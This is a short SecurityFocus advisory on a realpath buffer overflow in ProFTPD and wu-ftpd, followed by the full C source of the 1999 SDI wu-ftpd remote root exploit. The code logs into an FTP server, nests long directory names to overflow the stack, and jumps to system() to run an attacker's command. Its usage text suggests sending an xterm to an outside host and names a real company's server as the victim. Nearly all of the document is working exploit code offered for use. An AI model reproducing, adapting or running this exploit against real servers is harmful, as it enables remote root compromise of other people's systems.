source: http://www.securityfocus.com/bid/113/info
 
There is a vulnerability in ProFTPD versions 1.2.0pre1 and earlier and in wu-ftpd 2.4.2 (beta 18) VR9 and earlier. This vulnerability is a buffer overflow triggered by unusually long path names (directory structures). For example, if a user has write privilages he or she may create an unusually long pathname which due to insuficient bounds checking in ProFTPD will overwrite the stack. This will allow the attacker to insert their own instruction set on the stack to be excuted thereby elavating their access.
 
The problem is in a bad implementation of the "realpath" function.
 

/*
 * SDI wu-ftpd exploit for Linux (Feb 20, 1999)
 *
 * http://www.sekure.org - Brazilian Information Security Team.
 *
 * Source by jamez  (jamez@sekure.org)
 *           c0nd0r (condor@sekure.org)
 *
 * This source let you execute commands as root if you have write 
 * access on the ftp server.
 *
 * Usage: 
 *
 *    gcc SDI-wu.c -o SDI-wu
 *
 *    ./SDI-wu host user password dir command type [port] [align]
 *
 *    host:     the victim (ftp.microsoft.com)
 *    user:     ftp user with write access (anonymous)
 *    password: the password for the user (foo@bar.com)
 *    dir:      the directory you have access (/incoming)
 *    command:  the command ("/usr/X11R6/bin/xterm -display www.host.com:0")
 *    type:     system type (see below)
 *    port:     ftp port (21 default)
 *    align:    the alignment (default 3)
 *
 *
 * Limitations:
 *
 *    because I've used hard coded address's for system and the command, 
 *    the  values  wont  be  the same in others compilations of wu-ftpd. 
 *    so,  you will  need to  find   the  address   for   the   version
 *    you want to exploit.
 *
 *    because we are not using the stack to  put our code, the  exploit
 *    will work  as well against a non-executable stack patch.
 *
 *
 * RECOMENDATION = Please, run gdb through the wu.ftpd binary in order to
 * find out your "system address" (ie: print system) and  write it   down
 * so you can have more address to try - just overwrite the default addr
 * and choose type (3).
 *
 *
 * Thanks for the sekure SDI: 
 * fcon, bishop, dumped, bahamas, slide, vader, yuckfoo.
 *
 * Also thanks for #uground (irc.brasnet.org) and
 * chaosmaker, c_orb(efnet) 
 *
 */


#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdio.h>
#include <arpa/inet.h>

#define MAXLEN 255
#define BSIZE 1024


  
struct sockaddr_in sa;
struct hostent *he;


char c = 'A';

char host[255],
  user[255],
  pass[255],
  command[1024],
  buff[2040], 
  tmp[3060], 
  netbuf[2040],
  dir[255];

int sd, 
  i, 
  offset = 0, 
  dirsize = 0, 
  port=21, 
  doit = 0,
  done = 0,
  todo = 0,
  align = 3,
  tipo = 0;

/* CUSTOM ADDRESS, CHANGE IT IN ORDER TO EXPLOIT ANOTHER BOX */
#define SYSADDR 0x40043194;
#define EGGADDR 0x805f1dc;

long systemaddr;
long shelladdr;


void usage(char * s) {
  printf(" \nSDI wu-ftpd remote exploit (http://www.sekure.org)\n\n");
  printf(" %s host user password dir command [port] [align]\n\n", s);
  printf(" host:         the victim (ftp.microsoft.com)\n");
  printf(" user:         ftp user with write access (anonymous)\n"); 
  printf(" password:     the password for the user (foo@bar.com)\n");
  printf(" dir:          the directory you have permission to write (/incoming)\n");
  printf(" command:      the command (\"/usr/X11R6/bin/xterm -display www.host.com:0\")\n");
  printf(" type:         see below\n");
  printf(" port:         ftp port (21 default)\n");
  printf(" align:        the alignment (3 default)\n");
  printf("\n type:\n 0 - slak3.4 ver 2.4(4)\n 1 - slak3.4 ver beta-15&18");
  printf("\n 2 - slak3.3 ver 2.4(2)");
  printf("\n 3 - custom (change the code)\n\n See Netect advisory - ");
  printf(" this is not suppose to be released soon! (Feb,1999)\n\n");
}




void get_dirsize() {
  strcpy ( tmp, "PWD"); strcat ( tmp, "\n"); 
  write ( sd, tmp, strlen(tmp));
  read ( sd, netbuf, sizeof(netbuf));
  
  for(i = 0; i < strlen(netbuf); i++)
    if(netbuf[i] == '\"') break;
       
  dirsize = 0;

  for(i++; i < strlen(netbuf); i++)
    if(netbuf[i] == '\"') 
      break;
    else
      dirsize++;
   
  bzero ( &netbuf, sizeof(netbuf));


}

int main (int argc, char *argv[]) {


  if (argc < 7)  {
    usage(argv[0]);
    exit(0);
  }

  sprintf(host, "%s", argv[1]);
  sprintf(user, "%s", argv[2]);
  sprintf(pass, "%s", argv[3]);
  sprintf(dir, "%s", argv[4]);
  sprintf(command, "%s", argv[5]);
  
  tipo = atoi (argv[6]);
  printf ( "%d\n\n", tipo);
 
  if ( argc > 7) port = atoi(argv[7]);
  if ( argc > 8) align = atoi(argv[8]);

  
  if (tipo <= 0) {
  /* 2.4(4) libc5 slack 3.4 */
   systemaddr = 0x400441f0;
   shelladdr = 0x80604a0;
  } else if (tipo == 1) {
  /* beta 15 libc5 slack 3.4 */ 
   systemaddr = 0x400441f0;
   shelladdr = 0x8062510;
  } else if (tipo == 2) {
/* 2.4(4) libc5 slack 3.3 */
   systemaddr = 0x400441f0;
   shelladdr = 0x805f1e4;
  } else { 
 /* CUSTOM ADDRESS */
   systemaddr = SYSADDR;
   shelladdr = EGGADDR;
  }

  sd = socket ( AF_INET, SOCK_STREAM, 0);

  sa.sin_family = AF_INET;
  sa.sin_port = htons(port);
 
  he = gethostbyname (host);
  if (!he) {
    if ( (sa.sin_addr.s_addr = inet_addr(host)) == INADDR_NONE) {
      printf ( "wrong ip address or unknown hostname\n"); exit(0);
    }
  } 
  else {
    bcopy ( he->h_addr, (struct in_addr *) &sa.sin_addr, he->h_length);
  } 
 
  if ( connect ( sd, (struct sockaddr *) &sa, sizeof(sa)) < 0) {
    printf ( "Cannot connect to remote host: Connection refused\n");
    exit(0);
  }

  read ( sd, netbuf, sizeof(netbuf));
  printf ( "%s\n", netbuf); bzero ( &netbuf, sizeof(netbuf));
  /* ok. we're connected. */
  strcpy ( tmp, "USER "); strcat (tmp, user); strcat ( tmp, "\n");
  write ( sd, tmp, strlen(tmp)); bzero ( &tmp, sizeof(tmp));
  read ( sd, netbuf, sizeof(netbuf));
  printf ( "%s\n", netbuf); bzero ( &netbuf, sizeof(netbuf));
  /* ok. send the pass. */   
  strcpy ( tmp, "PASS "); strcat (tmp, pass); strcat ( tmp, "\n");
  write ( sd, tmp, strlen(tmp));  bzero ( &tmp, sizeof(tmp));
  read ( sd, netbuf, sizeof(netbuf));
  if ( netbuf[0] == '5') {
    printf ("Login incorrect!\n"); exit(0); }

  printf ( "%s\n", netbuf); 
#ifdef DEBUG
  printf ( "Ok, we're on! Press any key to exploit it\n"); 
  gets(netbuf);
#endif
  bzero ( &netbuf, sizeof(netbuf));

 /* ok. let's get to the vulnerable dir */
  strcpy ( tmp, "CWD "); strcat (tmp, dir); strcat ( tmp, "\n");
  write ( sd, tmp, strlen(tmp)); bzero ( &tmp, sizeof(tmp));
  read ( sd, netbuf, sizeof(netbuf));
  printf ( "%s\n", netbuf); bzero ( &netbuf, sizeof(netbuf));
 

  get_dirsize(); /* gets home dir size */


  todo = BSIZE - dirsize - 60 - 4;

  
  /* ok, we're on. let's get things working here! */
  while(done < todo) {
   
    if((todo - done) > 255) 
      doit = 255;
    else
      doit = todo - done;

   
    for (i = 0; i < doit; i++)
      buff[i] = c; 
    buff[doit] = '\0';
   

    strcpy ( tmp, "MKD "); strcat ( tmp, buff); strcat ( tmp, "\n"); 
    write ( sd, tmp, strlen(tmp));
    read ( sd, netbuf, sizeof(netbuf));
    if ( netbuf[1] == '2') {
      printf ("error while creating the dir, let's try another name...\n\n");
      c++;      
      continue;
    }
    else 
      done += doit;

    bzero ( &tmp, sizeof(tmp));  bzero ( &netbuf, sizeof(netbuf));
    strcpy ( tmp, "CWD "); strcat ( tmp, buff); strcat ( tmp, "\n");
    write ( sd, tmp, strlen(tmp)); 
    read ( sd, netbuf, sizeof(netbuf));
    if ( netbuf[0] == '5') {
      printf ("error while exploiting the remote host: Cannot cd dir!\n\n");
    }
    bzero ( &tmp, sizeof(tmp));  bzero ( &netbuf, sizeof(netbuf));
  }


 
  /* prepare last one */
  
  memset(buff, 'X', MAXLEN);

  for(i = align; i < 100; i += 4) {
    buff[i  ] = systemaddr & 0x000000ff;
    buff[i+1] = (systemaddr & 0x0000ff00) >> 8;
    buff[i+2] = (systemaddr & 0x00ff0000) >> 16;
    buff[i+3] = (systemaddr & 0xff000000) >> 24;
  }

  buff[i++] = shelladdr & 0x000000ff;
  buff[i++] = (shelladdr & 0x0000ff00) >> 8;
  buff[i++] = (shelladdr & 0x00ff0000) >> 16;
  buff[i++] = (shelladdr & 0xff000000) >> 24;

  strcat(command, ";");
  memcpy(buff+140, command, strlen(command));


  buff[MAXLEN] = '\0'; 
 
  strcpy ( tmp, "MKD "); strcat ( tmp, buff); strcat ( tmp, "\n"); 
  write ( sd, tmp, strlen(tmp));
  read ( sd, netbuf, sizeof(netbuf));
  bzero ( &tmp, sizeof(tmp));  bzero ( &netbuf, sizeof(netbuf));

  /* ok. */

  printf ( "Exploiting %s\n", dir);
  printf ( "Using 0x%x(system) and 0x%x(command), alignment = %d, port = %d\n", systemaddr, shelladdr, align, port);
  printf("\nI guess you're a hax0r now :D.\n");
 
  close (sd);

}